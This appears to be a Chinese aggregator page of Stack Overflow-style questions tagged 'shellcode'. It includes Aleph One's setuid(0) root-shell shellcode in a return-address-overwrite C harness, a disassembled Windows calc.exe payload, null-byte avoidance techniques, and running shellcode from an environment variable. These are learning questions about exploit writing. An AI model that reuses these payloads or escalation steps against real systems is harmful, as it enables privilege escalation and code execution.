标签: shellcode

我有这个代码......道德黑客

我正在关注这本关于道德黑客的电子书,我到了Linux Exploit Chapter,这是Aleph的1代码的代码.

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}
Run Code Online (Sandbox Code Playgroud)

我给这个超级用户权限,用

chmod u+s shellcode
Run Code Online (Sandbox Code Playgroud)

作为超级用户,然后回到普通用户

su - normal_user
Run Code Online (Sandbox Code Playgroud)

但是当我运行时./shellcode我应该是root用户但是我仍然是normal_user所以任何帮助?顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ......

c linux shellcode

0
推荐指数
2
解决办法
3633
查看次数

XOR如何防止shellcode中的NULL字节

我一直在尝试按照本教程(https://paraschetal.in/writing-your-own-shellcode)来编写自己的shellcode.其中99%对我有意义,但我心中只有两个疑惑 - 这与编写shellcode有关

首先,我想我明白为什么我们要避免空字节但是如何使用以下避免空字节?

xor eax, eax
Run Code Online (Sandbox Code Playgroud)

eax现在不包含完全空字节?或者它包含0?当我们对自己进行异或时,它会返回False,对吗?

其次,教程说:

最后,我们将把系统调用号(11或0xb)加载到eax寄存器.但是,如果我们在指令中使用eax,生成的shellcode将包含一些NULL(\ x00)字节,我们不希望这样.我们的eax寄存器已经是NULL.因此,我们只需将系统调用号加载到al寄存器而不是整个eax寄存器.

mov byte  al, 0x0b
Run Code Online (Sandbox Code Playgroud)

现在我明白了这里发生了什么,数字11(for execve)被加载到eax寄存器的前8位(即al).但其余的eax仍然包含空字节,那么究竟是什么在这里实现的?

请注意,在我花了大部分时间试图理解这一点后,我作为最后的手段来到这里,所以请放轻松我:)

c assembly execve shellcode

0
推荐指数
1
解决办法
332
查看次数

避免使用 .data 段

有没有办法避免编译后的代码使用 .data 段?是否可以编写 C 代码并使用编译器选项强制所有内容都在 .text 中?我问的原因是因为我想将另一个程序的汇编代码放在堆栈中并从那里运行代码。所以如果这个程序正在使用数据段,它将不起作用。

c assembly gcc shellcode

0
推荐指数
1
解决办法
252
查看次数

无法理解我的shellcode如何工作.用于Windows操作系统的Shellcode(不是Linux!)来打开calc.exe

我有一个shellcode.它在我的缓冲区溢出程序中打开计算器.

0:  eb 16                   jmp    0x18
2:  5b                      pop    ebx
3:  31 c0                   xor    eax,eax
5:  50                      push   eax
6:  53                      push   ebx
7:  bb 4d 11 86 7c          mov    ebx,0x7c86114d
c:  ff d3                   call   ebx
e:  31 c0                   xor    eax,eax
10: 50                      push   eax
11: bb ea cd 81 7c          mov    ebx,0x7c81cdea
16: ff d3                   call   ebx
18: e8 e5 ff ff ff          call   0x2
1d: 63 61 6c                arpl   WORD PTR [ecx+0x6c],sp
20: 63 2e                   arpl   WORD PTR …
Run Code Online (Sandbox Code Playgroud)

windows x86 assembly exploit shellcode

-1
推荐指数
1
解决办法
195
查看次数

如何从机器代码中删除 NULL (00)?

我需要知道如何从机器代码中删除空值 (00)。我用汇编语言编写了代码。它运行成功。我需要没有 NULL 的输出

.data
  Bash:
      .asciz "/bin/hostname"
  Null1:
      .int 0
  AddrToBash:
      .int 0
  NULL2:
      .int 0

  .text
      .globl _start

_start:
       #execute routine

       xor  %eax,%eax
       movl $Bash, AddrToBash
       movl $11,%eax
       movl $Bash,%ebx
       movl $AddrToBash,%ecx
       movl $NULL2,%edx
       int  $0x80

       #exit routine


     Exit:
       movl $10,%ebx
       movl $1,%eax
       int $0x80 
Run Code Online (Sandbox Code Playgroud)

以下输出是

4000b0: 31 c0                   xor    %eax,%eax
  4000b2:   c7 04 25 f2 00 60 00    movl   $0x6000e0,0x6000f2
  4000b9:   e0 00 60 00 
  4000bd:   b8 0b 00 00 00          mov    $0xb,%eax
  4000c2:   bb e0 00 …
Run Code Online (Sandbox Code Playgroud)

assembly shellcode

-3
推荐指数
1
解决办法
3953
查看次数

C如何执行括号?

假设我在C中运行此代码:

#include <stdio.h>
int main() {
    int (*ret)();
    ret = getenv("SOME_ENV_VAR");
    ret();
}
Run Code Online (Sandbox Code Playgroud)

ret();功能怎么样?

我想更普遍的是,当我在C中使用括号时,会发生什么?我们是否开始在某个位置运行内存?C在括号中运行时做了什么,我在哪里可以阅读更多关于这类事情的内容?

c linux assembly shellcode

-5
推荐指数
1
解决办法
148
查看次数

标签 统计

shellcode ×6

assembly ×5

c ×4

linux ×2

execve ×1

exploit ×1

gcc ×1

windows ×1

x86 ×1